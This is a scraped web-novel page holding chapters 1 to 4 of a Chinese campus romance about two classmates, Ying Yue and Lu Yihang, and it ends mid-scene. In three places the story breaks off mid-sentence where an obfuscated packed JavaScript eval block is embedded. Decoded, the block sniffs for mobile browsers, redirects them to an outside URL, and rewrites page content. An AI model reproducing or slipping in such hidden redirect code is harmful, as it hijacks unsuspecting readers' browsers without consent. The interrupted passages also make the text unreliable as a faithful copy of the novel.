《你我之间》 1. 第 1 章 你我之间 文/小布爱吃蛋挞 “如果有一天醒来发现自己变成了一条鱼,不要惊慌,因为,你一定是在做梦呢。” 1 四月末,琴港的樱花季已经进入尾声,枝头零星余着些粉白花朵,伴随一场忽然而至的春雨,摇晃坠落在人行道旁,被躲雨的人群踩着卷入水坑。 应悦也在躲雨的人群中,站在公交车站台狭窄的几乎没什么遮挡作用的挡蓬下,后背贴着广告牌,胸前抱着书包,仰头看路灯下纷乱雨丝,懊恼放学时把折叠伞遗漏在桌洞里了,明明妈妈早上提醒过她的。 笨重的公交车缓慢停靠,原本都贴着广告牌躲雨的乘客乱作一团,争先恐后往车门前挤,生怕挤不上这趟车还要淋不知多久。 应悦被人左撞一下,又挡一下的,眼看着要上不去车了,后背忽然被人推了一把,愣是把她推上去了。 她刚站稳,公交车就启动出发。 车厢里的人潮如同海浪涨落,缓慢移动,把空隙填充,紧贴的人群又有了喘息的空间。 应悦这才有机会转过身,扶着栏杆回头看。 惊讶在她脸上闪过,刚才在后面推她的人,居然是路一航。 路一航是她同学,隔壁高一6班的,她在5班。 要说更多一层的关系,他还是她初三那年的同桌。 但他俩不熟,话都没说过几句,因为路一航不爱说话。 他个子很高,应悦的脑袋大概也就到他的肩膀位置,要仰着头跟他说“谢谢”。 她出声,路一航低头看她一眼,没听清她的话。 他也没带伞被雨淋过,却并不显狼狈,依旧站得挺拔,头发只是半湿,整个人带着氤氲的气质。他低头问她:“什么?” 应悦又重复了一次:“我说,谢谢你,不然我都挤不上来。” 她说完,对他笑了笑,露出两颗小虎牙。 路一航好像是“嗯”了一声,再没说什么,只是看着车窗外的夜幕和雨。 七站路,不太长,应悦要到站了,说着“借过”往后门挪。 路一航也跟在她身旁,他不说话,但个子高,后面的人看到他要下车主动避开些距离,应悦跟着他很轻松就挪到了后门。 他俩前后脚下车,雨几乎停了,不知道是阵雨来得快去得快,还是学校那边的云层没有飘到这边来。 应悦问:“你住哪边啊?” 路一航拿着手机看,没说话。 应悦自讨没趣,尴尬地指着后面的居民楼告诉他:“我就住这里,那我先走啦,拜拜!” 路一航的视线从手机里抬起,顺着她的手指看了看后面的楼,对她点点头,“拜拜。” 应悦小跑着走了。 路一航看她跑的方向,小区看着不大,路灯挺亮的,应该没什么危险。 他继续看手机,刚才打了车,雨天排队人群太多,估计要等挺久。 他不住这片,以学校为起点的话,他家跟此刻的位置应该是反方向。 本来他在学校门口打的车已经快到了,但他看见了应悦,她像只小鸡崽,背着硕大的书包,扑腾着要挤上车,却被挤得离车门越来越远。 路一航就去帮了帮她,没多想,上了车才后悔自己多管闲事,不知道要在这糟糕的雨天里多呆多久。 可是她对他道谢,笑得时候小虎牙显得稚气又可爱。 路一航又觉得没那么烦了,好吧,她刚才如果没挤上来,这会儿肯定笑不出来了。 一夜风雨,隔天倒是晴空万里的好天气。 下了早自习,应悦抱着组长们收上来的语文作业,去办公室交给老师。 在办公室外面的连廊,看到了隔壁班的班主任,还看到三个男生松松垮垮地在墙边站着,听班主任训话。 站在左边那个,是路一航。 应悦忍不住多看了两眼,耳朵也竖起来,听到班主任在痛心疾首地骂他们不写作业。 那三人,两个是体育特长生,以后靠特招考大学,对文化分要求不高,他们一副不在意的样子。 而路一航,是学霸,考进琴高的时候是全市第一。 班主任本来以为捡到宝了,结果这家伙不写作业,上课也经常睡觉,班主任怕他走歪路,时不时敲打,路一航虚心接受,就是不改。 应悦把作业送进去,出来的时候看到那两个体育生已经被放走了,只路一航还在听班主任语重心长的劝诫:“你不要刚愎自用,要一步一个脚印,方仲永的课文没学过吗?总这样松懈,天才也会泯然众矣。” 路一航的视线扫向老师背后。 偷看的应悦跟他对视上,紧张地缩了脖子,赶紧溜了。 也不知道为什么,她就觉得心虚,明明也没什么不堪的,人家老师光明正大地训他,而他站得笔直,坦坦荡荡挨训。 应悦回了教室,整理课本的时候,脑子里又回忆起他刚才看她那一眼。 顺带着,还有当时老师的话,说他不要“侥幸考了第一,尾巴翘到天上”。 应悦想,他可不是侥幸,他可能真是天才。 应悦第一次见路一航,是初三下学期,刚过完寒假,开学的时候老师介绍班里新来的转校生。 那时候路一航好像还没这么高,而她在班里女生算高的,就那么着成为了同桌。 当然,也是因为应悦是班长,老师希望应悦多帮助一下新同学快速融入班集体,还有辅导一下路一航的功课。 然而新同学对融入集体并没兴趣,对功课更是不屑一顾。 他喜欢睡觉,还喜欢看着窗外发呆。 应悦都怀疑他是个哑巴,因为不管谁跟他说话,他都是“嗯”一声,就没下文了。 当时大家都在准备中考,对这个新同学也没过分关注,跟他接触下来看他不喜欢跟人打交道,也都不去自讨没趣。 只应悦,每次都要硬着头皮问他要作业,兢兢业业地执行老师的任务,告诉他有不懂的问题可以问她,她成绩蛮好的。 路一航:“嗯。” 应悦:…… 应悦像是拳头打在软棉花上,无力又无语。 但她不讨厌路一航,因为路一航只是不爱说话不爱学习罢了,又不会欺负她,何况他还长得好看。 对,这是重点。 很多人开始愿意来跟路一航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543297|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识,也是因为他长了张帅脸,让人心生好感。 只是后来被他的哑巴态度劝退了。 应悦是同桌,没法退。 但她也没有什么过分关心,大多时候两人井水不犯河水,他睡他的大觉,她写她的作业。 有次她做模拟卷,自己批自己改,改到一道选择题的时候有些疑惑,觉得答案不对,又不确定是不是自己的问题,翻书看了半天。 哑巴同桌忽然开口,“答案错了。” 应悦诧异地看向他,他在拿模拟试卷叠小跳蛙,叠好了按住跳蛙屁股,按一下,跳一下。 应悦问:“应该选C对吧?” 路一航:“嗯。” 应悦:“你会说话呀?” 路一航:“……嗯。” 应悦看他又回归到哑巴状态了,不再问他,继续看别的题。 路一航的小跳蛙某一下跳得远,弹到了应悦的手背上。 应悦也不恼,调转个方向,用力按一下它的屁股,小跳蛙飞起来,跳到了路一航的脑袋上。 她没看见似的,低头专心学习。 路一航抬手把脑袋上的叠纸拿下来,看一眼小跳蛙,看一眼应悦,趴下去睡觉了。 还有一次,是应悦一道大题不会做,她咬着指甲看了半天,没想明白,拿着中性笔帽去戳戳同桌的胳膊,“这题你会吗?” 路一航正在看着窗外的抽芽的大树发呆,被她唤回神思。 他看了一遍题目,把自己的作业打开到那个题目,在一片空白的卷面上写下解题步骤,推到应悦面前。 他没多余的话,应悦也不问他,对着答案自己琢磨,看明白了就点点头,把作业又还给了他。 作为报答,应悦请他喝了一瓶波子汽水,葡萄口味的,是应悦的最爱,不知道路一航喜不喜欢。 也是这样的春日,好像樱花还在盛开期,应悦记得放学时她把汽水放在他的桌子上,他只是疑惑地看着她。 应悦说:“不知道你为什么不爱学习,但我觉得你挺聪明的,如果是跟家里人怄气的话,不要搭上自己的前程啊。” 他们之间的交情并不深,她说这些,显得老成又多嘴。 路一航还是那一声:“嗯。” 应悦:…… 不过收下了她的波子汽水,撕开包装纸,拇指摁住瓶口的玻璃珠,“嘭”的一声让珠子激起满瓶气泡。 他们的交情大概也就是这样了,应悦想不起还说过什么别的话。 因为很快就到了中考,而路一航以全市第一的身份跟她一起考入了琴高。 想到这里,应悦对自己夸下海口要辅导他功课一事感到羞愧。 又觉得刚才那个班主任说他“侥幸考了第一”说得太过轻巧,他不是侥幸,他可能真是个天才。 她这边仅仅是走了一会儿神,就又安心听老师讲课。 没想到晚上放学的时候,在门外连廊又遇到了小天才同学。 他靠在护栏边,像在等人。 “应悦。”他叫她的名字。 应悦不禁瞪大了眼睛,手指指向自己,“我?” 奇怪,找她干嘛。 2. 第 2 章 应悦的反问,路一航并没回答,似乎她这个问题太傻,回答了便会成为和她一样的笨蛋。 有路过的同学,看到他俩发出起哄的笑声。 学习生活太过枯燥,少男少女总是对这种事情过分关注,哪怕自己不谈,看别人有什么暧昧也觉得有意思。 应悦有些害羞了,她瞧路一航,他倒是万年不变的冰块脸,看不出一丝窘迫。 站在教室门口太惹人眼,路一航不在意别人的声音,但也并不打算被人围观。 他转身往楼梯方向走,走了两步回头看应悦一眼,应悦就很自觉地追上去跟在他身后。 “路一航。”应悦小声喊他,“你找我有事吗?” 路一航放慢脚步,和她并行,“你有个姐姐在花鸟市场开店是吗?给我个地址,我想买只鹦鹉,呃……可能是鹦鹉吧,我去看看。” 应悦:“咦?你怎么知道?” 路一航:“听你跟人聊过。我不会挑,怕买到生病的,养不活。能跟你姐姐说声,帮我选一下吗?” 应悦想着自己以前好像确实跟后座聊天,说起过她去表姐店里买鱼的事情,路一航在旁边听到也正常。 不过他今天怎么说了这么多话啊? 她好奇打量他,没注意脚下的路,左脚踩在右脚上,眼看要把自己绊倒。 是路一航伸手拽住了她的大书包,书包带勒紧了她的肩膀,她前倾又后仰,把自己吓了一跳,好险没摔个屁墩。 路一航低头看她,挑了挑眉。 昏暗的路灯光从外面照进室外的楼梯,应悦看清了他的表情,两只手抓好自己的书包带稳住身子,跟他道谢,“你什么时候去?假期吗?我带你去吧,我也说不明白具体位置,那里面的店都是挨着的。” 路一航已经收回手,点头说:“好。” 应悦又去看他,他的侧脸在灯光和阴影里时隐时现,很好看。 她看的时候只是单纯欣赏,可他忽然目视前方提醒她:“看路。” 应悦的脸瞬间烧红,好像刚才踩空的惊吓,现在才后知后觉让心跳加速,她不敢再看他了。 周六上午十点钟,他俩约在应悦家门口的公交站见面。 终于能放假不穿校服了,应悦特地穿了一套牛仔背带裙,脚上是堆堆袜和白色帆布鞋。倒不是为了跟路一航“约会”,只是单纯臭美。 她提前五分钟到站点,路一航已经在那里等着,不知道他什么时候来的。 应悦远远就见到了熟悉的校服外套,走近了,看到他里面穿的T恤,裤子也是牛仔裤,好像是随手套了件校服。 她一直看他,路一航也低头看了眼自己的衣服。 应悦:“那边都是看人要价的,你穿着校服,一看就要挨宰。” 路一航也看她的衣服,没觉得她穿这身就不会挨宰。 路一航:“所以找你姐。” 应悦:“可以,省下来的钱请我喝汽水。” 路一航:“嗯。” 应悦带路,他们坐车去的花鸟市场,因为是在老城区内,这市场其实不算大,但也要七拐八拐才找到应悦表姐的店。 表姐店里是卖观赏鱼的,但她跟周围的商户都熟,听了应悦的话就跟对面卖鸟的老板去说,让他给挑一只健康活泛的鹦鹉。 表姐问:“还有什么要求吗?” 路一航摇摇头:“好养活,多活几年,陪老太太解闷的。” 鸟店的老板给他拿了两种,一只是挺常见的虎皮鹦鹉,小小一只,一直在说“你好”,看起来特别活泼。 另一只是玄凤鹦鹉,白白黄黄的,还有腮红,应悦觉得它好可爱。 老板介绍说新手养的话这俩都比较好养,性格很亲人,玄凤一般能活更久点。 于是路一航就拿了老板挑的那只玄凤鹦鹉,又让老板把笼子和吃食什么的都配齐。 他听老板讲养鸟的注意事项,应悦在表姐店里等着,看大鱼缸里那些成群游来游去的金鱼。 看鱼儿游动的时候,心好像会特别平静。 听说金鱼的记忆只有七秒,大概是因为这样它们就没有烦恼。 鱼群散开,透明水缸空出来的区域出现少年的校服。 应悦知道是路一航回来了,她却没有直起身子,而是侧过头,隔着鱼缸,从下往上去看对面的人。 好奇这样看他的话,会不会像看哈哈镜似的,看到一个夸张变形的路一航。 鱼群又游了回来,应悦耐心等待。 等它们再度游走。 这次,空出来的鱼缸对面,出现的却是少年的脸。 路一航也弯下腰来,隔着鱼缸在看她。 呀!应悦有种偷窥被发现的局促。 她着急站起来,慌慌张张的,脑袋撞到了顶上悬挂着的一个什么托盘,疼得她呲牙咧嘴。 表姐听见声音凑过来看,关切询问她有没有磕破皮,说自己上午摆放的时候没注意距离,还好盘子里的东西没掉出来砸她身上。 应悦摸着头顶说没关系,疼也不好意思说。 表姐要送应悦两条金鱼,是昨天才运过来的。 应悦家里的鱼缸不太大,多两条似乎拥挤,她问路一航:“你要不要?” 路一航问:“好养吗?” 应悦笑了,他买宠物的要求好像就这一条。 她点头,对养鱼还算有点心得,指着数量最多的那一缸草金鱼跟他说:“这个最好养。” 路一航却问她刚才看的那一缸胖嘟嘟小鱼问:“这个呢?” 应悦:“这是兰寿,也不难养。” 路一航:“那我要这个。” 也不止看好不好养,还会看喜不喜欢。 路一航家里没有鱼缸,表姐都给他配齐了,商量好以后,找了个市场这边熟悉的快递员先把鱼缸等杂物给他送回家,那两条金鱼用装了水的大塑料袋提着。 应悦看他还抱着大鸟笼子,似乎没有空手提鱼,好心帮他拿过去。 以为这鱼也是给老太太的,路一航却说要自己养。 他俩打车去了个老式小区,走到楼栋前,路一航跟应悦说:“你在这里等我一会儿好吗,很快就回。” 应悦点头,他俩都不怎么熟,确实不适合去人家家里。 路一航说的“很快”,大概也就五分钟,应悦站在楼前的阳光地里等着,不晒不也冷,暖洋洋的很舒服。 背后有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543298|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步声响起,路一航下楼来了。 他一到她面前,就接过来她手里的塑料袋。 摊平手掌交接的时候,路一航看见她手心有一道红红的勒痕。 再提了提转移到他手上的袋子重量,确实挺沉的。 他跟应悦说:“请你喝汽水。” 应悦两只手背在身后,倒退着走在他前面,和他说话,“路一航,你太抠门了吧,我帮你这么大忙,你居然只请我喝汽水?” 路一航记得是她之前说要喝汽水的,但他没反驳,只是问:“还要吃什么?” 应悦想了想,伸出一根食指,比划着说:“加根冰棍。” 路一航于是带她去了附近商场,一楼就有哈根达斯的店。 应悦看着面前那一盘冰激凌球和中间装着巧克力酱的瓷碗,心里估算了一下,这一盘大概比那只鹦鹉都贵,“太破费了吧?” 说归说,他都已经买了,不吃更浪费。 应悦用叉子插起香草球,蘸着巧克力酱吃得挺开心。 路一航不吃,他坐在她对面,还提着袋子,偶尔抬起手来看看那两条金鱼的状态,怕它们憋死。 应悦觉得这样干坐着有些尴尬,没话找话:“鹦鹉是买给你奶奶吗?” 不是,但路一航也不打算解释,“嗯”了一声。 又回归哑巴状态了。 应悦撇撇嘴,专心吃那盘冰激凌球。 路一航的视线从金鱼身上转到桌子上,她吃东西的时候表情愉悦,看得他都有点想吃了。 他问:“好吃吗?” 应悦用力点头,还伸出大拇指比了个赞。 却没想着要分他一个球。 路一航笑笑,继续看她吃。 应悦是还剩最后两个球的时候才反应过来,她好像在吃独食。 因为只有一副勺子叉子,也因为一开始他并没有表现得想吃。 应悦偷看了他一眼,想着现在是不是应该停下来,问问他吃不吃。 又觉得这会儿问,像是自己吃不完了要他吃剩下的似的,不太好。 她犹豫的样子有些明显,路一航说:“你吃吧,我不喜欢甜食。” 那太好了,应悦把余下的两个球也吃光了。 出了商场,就该分道扬镳。 路一航说:“现在还要喝汽水吗?” 应悦连忙摆手,哪里还好意思再喝,她找补了句:“再喝要拉肚子了。” 琴港五月的天确实没那么热。 路一航点头:“那欠你一瓶。” 应悦想说也不必算得这样清,她其实没帮多大忙。但是公交车到了,她着急上车,匆匆跟他挥别。 难得有个空位置。 应悦坐在窗边,看到站台上提着透明塑料袋的少年,袋子里的水清澈透亮,水里两条红白色的金鱼摇头摆尾。 路一航一只手提着袋子,另一只手拿着校服。 人群中,他抬头看向车窗的方向,对她笑了笑。 应悦好像听见了咕噜咕噜的声音,像金鱼吐泡泡一样,梦幻又美好。 哦,不是梦,确实有咕噜咕噜的声音。 是她吃了太多冰激凌,肚子在抗议! 3. 第 3 章 这天晚上应悦睡得不安稳。 她忘记自己在哪本杂志上看到的,说睡眠质量会随着年龄增长越来越浅,年轻时沾着枕头就能睡,以后的深睡眠越来越少。 青春期的少女犯傻,心想她的深睡眠不会从今天起就要慢慢远离吧? 想了许多,迷迷糊糊也睡着了,只是一直在做梦。 梦见她变成一条金鱼,胖嘟嘟的肚子,圆滚滚的身子,大眼睛看见的一切都像是变形鱼缸里的景象。 她试着摇了摇尾巴,往前游了两下,像滑冰! 她又试着吐了一串泡泡,然后在她制造出来的泡泡里探头探脑。 就在这时,她看到了路一航的脸,他贴过来,鼻子快要碰到鱼缸玻璃上,对她笑,“吃吧。” 此刻,路一航确实在家里喂鱼。 他一到家就把鱼缸按说明书安装好,倒满水,通上电,再把那两条小金鱼倒进去。 他妈盛锦玫晚上回来的时候看到客厅里多了这么个玻璃缸,皱了皱眉,问他怎么买了个这玩意儿,“大不大,小不小的,关键还丑。” 路一航没搭话,看他妈没什么要聊的,自己上楼回卧室看书去了。 闲书,有科普类的也有漫画,从小他妈对他的要求就不太严苛,随便他玩,只限制他别沉迷打游戏。 因为是假期,路一航有些放纵地呆到半夜没睡,觉得肚子饿了下楼找吃的。 边吃,边看那两条鱼,给它们也补充了些鱼食。 “你这个喂法,两天就把鱼撑死了。”忽然有声音从楼梯边的房间传来,是盛锦玫听到响动开门出来看了眼。 路一航倒是听劝,听到这话,拿着捞网去把落下去的鱼食捞出来大半。 盛锦玫觉得儿子傻乎乎的,笑了笑,去给自己倒了杯温水喝。 经过他的时候问:“你暑假要去美国那边住一阵子吗?” 路一航看着吐泡泡的鱼,像发呆似的。 盛锦玫:“知道了,不去。那你明天自己给你爸打个电话说声。” 路一航终于开口:“你想我去?” 盛锦玫:“不拦着,也不支持,随你。不过……” 路一航以为他妈要说去跟他爸联络联络感情,以后跟同父异母的弟弟妹妹们分遗产能多分点的时候,盛锦玫露出自己都没察觉的娇笑来:“不过我可能七月要去外地录节目。” 这笑容让路一航觉得怪怪的,本能地嗅到一丝危机,但又被他把不安压了下去。 他妈都单了这么多年了,想再婚也没什么好指摘的。 路一航回应他妈:“嗯。” 盛锦玫:“哎,小时候多可爱啊,抱着我的大腿说‘妈妈我宇宙无敌最最爱你’,现在三杆子打不出个屁来。” 路一航:“……早点休息,晚安。” - “小长假”放完,再回学校的时候又是阴雨天。 课间操取消,走廊里来来往往的学生在玩闹,一点都不因为这坏天气而败兴。 应悦和同桌徐莉莉一起站在护栏边聊天,也没什么主题,就是在教室里坐着太像坐牢了,想走出来呼吸新鲜空气放放风。 正说着话,路一航从隔壁班走出来,路过应悦身边的时候看到了她,侧头看了她一眼。 应悦感觉打招呼有点怪,就对他笑了笑,他没笑,但跟她点了点头,算是回应。 人走了,徐莉莉跟应悦八卦:“你跟路一航很熟吗?他是不是放假之前还找你来着。哦,对,你俩都是市初的。” 应悦想说何止,他俩还做过半学期同桌呢。 没来得及说,徐莉莉又讲了新的八卦:“你知道晓溪暗恋他吗?” 晓溪是她们的前桌,应悦摇头,她还真不知道。 徐莉莉压低声音跟她讲悄悄话:“晓溪给他写了情书,当面给他,结果他不收,也不说话,也不接手,把晓溪给气哭了!” 应悦听得一愣一愣的,“这么拽?” 她想想,像是路一航能做出来的事,初中那会儿,有女生来找他聊天,他也都是装聋作哑的。 应悦现在怀疑,他是不是真的要去看看耳鼻喉科啊? 徐莉莉又神神秘秘地说:“他刚才跟你打招呼哎,他不会是喜欢你吧?哦吼吼,你小心点,晓溪知道了又得哭。” 应悦:“你这想象力太丰富了吧!跟我打招呼就喜欢我?而且他也没跟我打招呼啊,我俩不熟。” 说完,久看见路一航从走廊那头走回来了。 为了验证自己的话,应悦还特意招手说了声:“嗨~” 没想到路一航停了脚步,在她们旁边站住,问应悦:“怎么了?” 看起来挺熟的。 应悦:“……没事。” 路一航看她好像真没事,没说什么又走了。 应悦看徐莉莉,徐莉莉也在看她,笑得高深莫测的。 高中生列方程求曲线交点坐标可能不太准,看男女同学有没有暧昧交点那可是一看一个准! 徐莉莉叫唤着就往教室跑,要跟晓溪分享情报。 应悦明知道她在逗自己,还是忍不住有些慌乱,追过去捂着她的嘴,“你别乱说啊。” 徐莉莉呜呜把她的手掌挪开,讲条件:“请我喝奶茶。” 应悦:“好!” 徐莉莉狡黠地笑:“这么容易就答应,还说你不是心虚!” 应悦:…… 她没跟徐莉莉说更多,怕越描越黑。 只是拿着荧光笔在课本上划重点的时候,才暗戳戳地反思自己,不说出来他们的“交情”,是不是也有点故意让人误会的意思呢? 毕竟被那样一个帅哥喜欢的传闻,让她挺有面子。 应悦:我真是一个虚荣又聪明的人啊。 阴雨天绵延了一周多,总算在周五傍晚放晴。 彩霞满天,明媚得像是学生们即将休息的心情。 应悦是值日生,她把课桌椅都整理好,讲台擦干净,最后一个背着书包出教室,把门也锁好。 走廊里静悄悄的,每到放假,学生们都像脱笼的鸟雀争先恐后飞走,一刻不愿意多待。 隔壁教室倒是还亮着灯。 本来下楼是不从那边走的,可应悦莫名有些好奇,调个方向从六班经过。 结果就看到后门里,两个高个子的男生堵在门口,脸上带着不怀好意的笑容,跟路一航拉拉扯扯的,不让他走。 应悦再看一眼,好像是两个体育生,之前在办公室门口见到他们罚站过。 不像好人。 她也不知道哪里来的勇气,严肃地吼了一嗓子:“你们在干什么?!” 这一声,把教室里三个人的视线都吸引了,他们一起看向门外。 一个黑皮大高个男生走过来,看了应悦一眼:“你谁啊?有事?” 离得近了,应悦才发现体型差带来的压迫感,她不该这么冲动的。 应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543299|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悦又看了被堵在里面的路一航一眼,这一眼看到了路一航的脸,他左边颧骨有明显的红肿! 应悦正义感十足地问:“他们是不是欺负你了?” 路一航看着她,看了两秒,点头:“嗯。” 应悦退后两步,是随时准备跑的状态,“这里有监控,你们快放人,不然我要喊老师喊保安了!” 里面另一个体育生看着比较白,虽然个子也很高,但戴着眼镜显得没那么吓人。他跟应悦说:“你是不是误会……” “让开。”没说完,被路一航打断了。 路一航终于找到了空隙,快步走出教室,走到应悦身后推着她的肩说:“走。” 应悦的心怦怦跳,吓的,一边跟路一航快步离开这里,一边还回头看了两次,怕那俩人追过来。 黑皮体育生:“什么鬼?” 白皮体育生一巴掌拍他头上:“让你嘴欠,航哥不参加,咱俩裤衩子都不够输的。” 黑皮体育生:“我说那个女的,什么鬼?” 白皮体育生这才看向那两个疾步走下旋转楼梯的男女,摸了摸下巴:“爱管闲事的纪律委员吧。” 刚管完闲事的应悦打了个喷嚏。 路一航闻声,看她身上的校服,好像里面穿得挺薄的。 他这一扭头,应悦对他脸上的伤看得更清晰了,不止是红了,还破皮了! 应悦问:“他们打你了?为什么啊?你得跟家长和老师说。” 路一航:“没,我下午体育课摔的。” 应悦:“体育课怎么会摔?” 路一航:“打球时候,不小心。” 应悦:“是不是他们故意撞你啊?你怎么惹他们了?你还是得告诉老师,不然还会有下次的!” 路一航觉得自己说话说挺多了,没想到应悦的话像连珠炮一样打过来,他都不知道先回哪句。因为错过每个气口,他干脆一个都不答了。 应悦看他沉默,觉得他有点可怜,做错事的是那些欺负人的人,他是受害者,自己不应该这么严厉的。 走出校门口就有家药店,应悦去买了碘伏棉签和创可贴,要帮路一航涂药。 路一航:“没必要。” 要涂药也是刚受伤那会儿,都已经过去俩小时了,确实没必要涂。 但应悦以为这是刚被人打的,坚持要他涂药,还跟他讲自己表弟小时候磕破脑门不注意,结果留疤了,这种伤口一定要清理干净巴拉巴拉。 她话太密了,路一航只得低头。 这附近没座椅,他们就站着涂的。 他弯着腰,脸跟她齐平,应悦抬着手给他清理伤口,涂碘伏。 本来已经不疼了,被这药杀了一下,路一航忍不住皱眉。 应悦飞快撕开一根棒棒糖,紫色的手掌形状,葡萄味的。 也是刚才从药店买的。 她说:“转移一下注意力。” 糖塞到嘴里,路一航刚尝到甜味,脸上又被她涂了一支新碘伏。 这次因为他没弯腰,她踮着脚给他涂的,涂完把创可贴贴上,“好了。” 路一航垂眼看她。 他有点好奇:“你不怕啊?” 应悦:“什么?哦,你说那俩男生?我不怕,他们要是敢打我,我就去告老师。” 她说完,像是意有所指地瞪了路一航一眼:“我长嘴了!” 路一航笑了,嘴里含着糖,他含糊着说了句:“厉害。” 4. 第 4 章 药店再往前走几步就是公交站,应悦问路一航怎么回家。 路一航通常是打车回去的,但是她问,他不知道为什么就不想说出来。 应悦记得那个下雨的晚上,他跟她是在同一个站点下车的,但是上次去买鹦鹉,他却说跟她不同路,也没坐同班车。 她的小脑瓜子飞速运转,想不通。 就这么沉默的几分钟,到站了。 不止是他们俩到站,应悦要坐的111路车也到了。 应该快跑两步赶上去的,可应悦反而放慢了步伐,眼睁睁看着111路离开。 路一航看看车屁股,又低头看看应悦:“你车跑了。” 应悦:“哦,我等下一辆,这辆满座了。” 他俩并肩站在站牌下面,站台旁边有卖西瓜的摊贩,骑着电动三轮车,车上堆满了圆咕隆咚的瓜,还有切开的样品散发阵阵清爽的香气,缝里插着纸壳牌子,牌子上几个黑色大字:“甜过初恋!” 应悦正看着,忽然见那摊贩跨上座位,钥匙一拧就转动把手加速前进——城管来了。 摊贩急着跑,路上车又多,电三轮歪扭着从站台这边的空地穿过去,几乎要蹭到路人。 路一航拉着应悦的胳膊往自己方向带了带,提醒她别光看热闹:“看路。” 这好像是他第二次说这话了,应悦没觉得自己安全意识差,只觉得路一航的词汇量真匮乏。 她又问了路一航一次:“你家在哪里啊?你要坐几路车?” 路一航:“111路。” 应悦:“呀,那你刚才怎么没上车?” 路一航:“满座了,等下辆。” 应悦:“……你就是想跟我坐一辆吧!” 路一航没否认,他现在回家也没什么事做,坐车到处转转也挺有意思的。 可应悦很难不想多。 她偷瞄了几次路一航,耳边回响着徐莉莉说过的话,说路一航大概是喜欢她才会跟她打招呼。 现在他还要跟她坐同一辆公交车。 她心跳如擂,第三次偷看他的时候,路一航终于忍不住回看过来,语调上扬发出疑问,“嗯?” 他那支棒棒糖已经快吃完了,剩下一点被他咬碎,然后把白色的纸棒抽出来捏在手里。 他看她一眼,应悦脱口而出:“你不会是……” 她话没说完,看路一航是朝着垃圾箱方向迈了一步,又改口:“你先扔垃圾。” 路一航往前走,应悦看着他的背影,冷静了几分。 她真是鬼迷心窍,被徐莉莉带着跑偏了,人家又是学霸又是大帅哥,哪里想不开要喜欢她这个平平无奇的小可爱。 等路一航扔完纸棒回来,他主动问她刚才没说完的话,“你说。” 应悦:“你不会是害怕他们找过来,所以才要跟我坐一辆车吧?” 路一航:“……嗯。” 应悦觉得这理由挺成立的,因为是她亲眼所见。 她拍了拍路一航的肩膀,“别怕,如果他们再欺负你,你跟我说。” 路一航扭头看看肩膀上的手,觉得她挺有意思的:“跟你说?” 应悦缩回手,郑重点头:“跟我说,我帮你告老师!” 有种以后要罩着他的豪迈。 路一航看着这个比自己矮那么多的女生,不自觉笑了。颧骨上的创可贴粘太紧,一笑牵扯着伤口摩擦有些痛。 连他都混淆了事实,好像自己真被人欺负了似的,鬼扯了句:“好,靠你了。” - 学校生活实在太无趣了,又忙又重叠。 什么时候能上班就好了,白天在公司喝着咖啡开会,晚上去逛街、下馆子、谈恋爱。 应悦托着腮坐在课桌前发愣,幻想着早日毕业,脱离苦海。 同桌徐莉莉拿胳膊肘拐了她一下,“叫你三遍了,想什么呢?” 应悦回神:“啊?叫我干嘛?” 徐莉莉:“物理作业借我抄抄,我单张卷子忘写了。” 应悦翻找出来她要的卷子,借她看。 徐莉莉一边写,一边不忘八卦,“你刚才在发什么呆,不会是在想……那谁吧?” 她没有点名道姓,只是眼神扫过前排的晓溪。 应悦立马严肃:“不是!” 徐莉莉挤眉弄眼地笑,顺便护着卷子,怕她恼羞成怒把作业抽走:“我又没说是谁,看,不打自招!” 应悦趴在胳膊上,小小声辩驳:“你不要乱说,被人误会不好。” 关键是,说得多了应悦怕自己都要误会。 她庆幸自己那天及时改口,没有问出让人尴尬的问题。 她跟路一航本来就是有同桌的关系,又在他被欺负的时候帮他解了围,这是多么团结友爱又纯洁的同学情! 如果她真问人家是不是喜欢自己,大概路一航不仅会觉得她自作多情,还要躲得远远的再不跟她说话了。 那样的话…… 以后他再被人欺负,也没人可说了,谁去帮他告状呢! 正义使者应悦觉得自己身上简直散发着圣母的柔光。 至于说她对路一航有没有好感—— 那肯定是有的,谁不喜欢帅哥呢?不过应悦有好感的帅哥挺多的,从杂志到荧幕,帅哥围起来能绕操场三圈。 多看两眼就得了。 5班的体育课排在上午课间操后面,不用回教室去准备,又剩下了来往路上的时间,这个体育课漫长得让人幸福。 应悦去小卖部买了瓶果茶,独自沿着架空层的阴凉路面走。 班里面她跟徐莉莉关系最好,但徐莉莉是住校生,所以和室友们也经常聚在一起。刚才徐莉莉被室友叫走,好像要讨论“最美宿舍”装饰的事情,应悦便落了单。 